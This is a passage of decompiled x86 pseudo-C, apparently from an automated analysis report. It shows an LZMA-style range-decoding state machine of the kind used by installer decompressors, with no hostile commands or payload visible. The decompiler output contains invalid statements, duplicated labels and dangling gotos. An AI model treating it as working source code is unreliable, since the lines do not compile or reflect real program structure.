					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
					while(1) {
						L145:
						 *(_t644 - 0x50) = 1;
						 *(_t644 - 0x48) =  *(_t644 - 0x40);
						while(1) {
							L149:
							if( *(_t644 - 0x48) <= 0) {
								goto L155;
							}
							L150:
							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
							 *(_t644 - 0x54) = _t643;
							_t569 =  *_t643;
							_t635 = _t569 & 0x0000ffff;
							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
							if( *(_t644 - 0xc) >= _t607) {
								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
								_t628 = _t627 + 1;
								 *_t643 = _t569 - (_t569 >> 5);
								 *(_t644 - 0x50) = _t628;
							} else {
								 *(_t644 - 0x10) = _t607;
								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
								 *_t643 = (0x800 - _t635 >> 5) + _t569;
							}
							if( *(_t644 - 0x10) >= 0x1000000) {
								L148:
								_t487 = _t644 - 0x48;
								 *_t487 =  *(_t644 - 0x48) - 1;
								L149:
								if( *(_t644 - 0x48) <= 0) {
									goto L155;
								}
								goto L150;
							} else {
								L154:
								L146:
								if( *(_t644 - 0x6c) == 0) {
									L169:
									 *(_t644 - 0x88) = 0x18;
									L170:
									_t579 = 0x22;
									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
									_t539 = 0;
									L172:
									return _t539;
								}
								L147:
								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
								_t484 = _t644 - 0x70;
								 *_t484 =  &(( *(_t644 - 0x70))[1]);
								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
								goto L148;
							}
							L155:
							_t537 =  *(_t644 - 0x7c);
							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
							while(1) {
								L140:
								 *(_t644 - 0x88) = _t537;
								while(1) {
									L1:
									_t538 =  *(_t644 - 0x88);
									if(_t538 > 0x1c) {
										break;
									}
									L2:
									switch( *((intOrPtr*)(_t538 * 4 +  &M00406F09))) {
										case 0:
											L3:
											if( *(_t644 - 0x6c) == 0) {
												goto L170;
											}
											L4:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t538 =  *( *(_t644 - 0x70));
											if(_t538 > 0xe1) {
												goto L171;
											}
											L5:
											_t542 = _t538 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t581);
											_push(9);
											_pop(_t582);
											_t638 = _t542 / _t581;
											_t544 = _t542 % _t581 & 0x000000ff;
											asm("cdq");
											_t633 = _t544 % _t582 & 0x000000ff;
											 *(_t644 - 0x3c) = _t633;
											 *(_t644 - 0x1c) = (1 << _t638) - 1;
											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
											_t641 = (0x300 << _t633 + _t638) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
												L10:
												if(_t641 == 0) {
													L12:
													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t641 = _t641 - 1;
													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
												} while (_t641 != 0);
												goto L12;
											}
											L6:
											if( *(_t644 - 4) != 0) {
												GlobalFree( *(_t644 - 4)); // executed
											}
											_t538 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t644 - 4) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L157:
												 *(_t644 - 0x88) = 1;
												goto L170;
											}
											L14:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t45 = _t644 - 0x48;
											 *_t45 =  *(_t644 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t644 - 0x48) < 4) {
												goto L13;
											}
											L16:
											_t550 =  *(_t644 - 0x40);
											if(_t550 ==  *(_t644 - 0x74)) {
												L20:
												 *(_t644 - 0x48) = 5;
												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											L17:
											 *(_t644 - 0x74) = _t550;
											if( *(_t644 - 8) != 0) {
												GlobalFree( *(_t644 - 8)); // executed
											}
											_t538 = GlobalAlloc(0x40,  *(_t644 - 0x40)); // executed
											 *(_t644 - 8) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
											 *(_t644 - 0x84) = 6;
											 *(_t644 - 0x4c) = _t557;
											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L158:
												 *(_t644 - 0x88) = 3;
												goto L170;
											}
											L22:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											_t67 = _t644 - 0x70;
											 *_t67 =  &(( *(_t644 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L23:
											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
											if( *(_t644 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t559 =  *_t642;
											_t626 = _t559 & 0x0000ffff;
											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
											if( *(_t644 - 0xc) >= _t596) {
												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
												 *(_t644 - 0x40) = 1;
												_t560 = _t559 - (_t559 >> 5);
												__eflags = _t560;
												 *_t642 = _t560;
											} else {
												 *(_t644 - 0x10) = _t596;
												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
												 *_t642 = (0x800 - _t626 >> 5) + _t559;
											}
											if( *(_t644 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t644 - 0x6c) == 0) {
												L168:
												 *(_t644 - 0x88) = 5;
												goto L170;
											}
											L138:
											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L139:
											_t537 =  *(_t644 - 0x84);
											L140:
											 *(_t644 - 0x88) = _t537;
											goto L1;
										case 6:
											L25:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L36:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L26:
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												L35:
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												L32:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											L66:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												L68:
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											L67:
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											L70:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											L73:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											L74:
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											L75:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											L82:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L84:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L83:
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											L85:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L164:
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											L100:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L159:
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											L38:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											L40:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												L45:
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L160:
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											L47:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												L49:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													L53:
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L161:
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											L59:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												L65:
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L165:
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											L110:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											goto L132;
										case 0x12:
											L128:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L131:
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												L132:
												 *(_t644 - 0x54) = _t642;
												goto L133;
											}
											L129:
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											L141:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L143:
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *((intOrPtr*)(__ebp - 0x7c)) = 0x14;
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
											L142:
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											L156:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											while(1) {
												L140:
												 *(_t644 - 0x88) = _t537;
												goto L1;
											}
										case 0x15:
											L91:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											goto L0;
										case 0x17:
											while(1) {
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
										case 0x18:
											goto L146;
										case 0x19:
											L94:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												L98:
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													L166:
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												L121:
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												L122:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											L95:
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												L97:
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													L107:
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														L118:
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													L113:
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														L117:
														goto L109;
													}
												}
												L103:
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
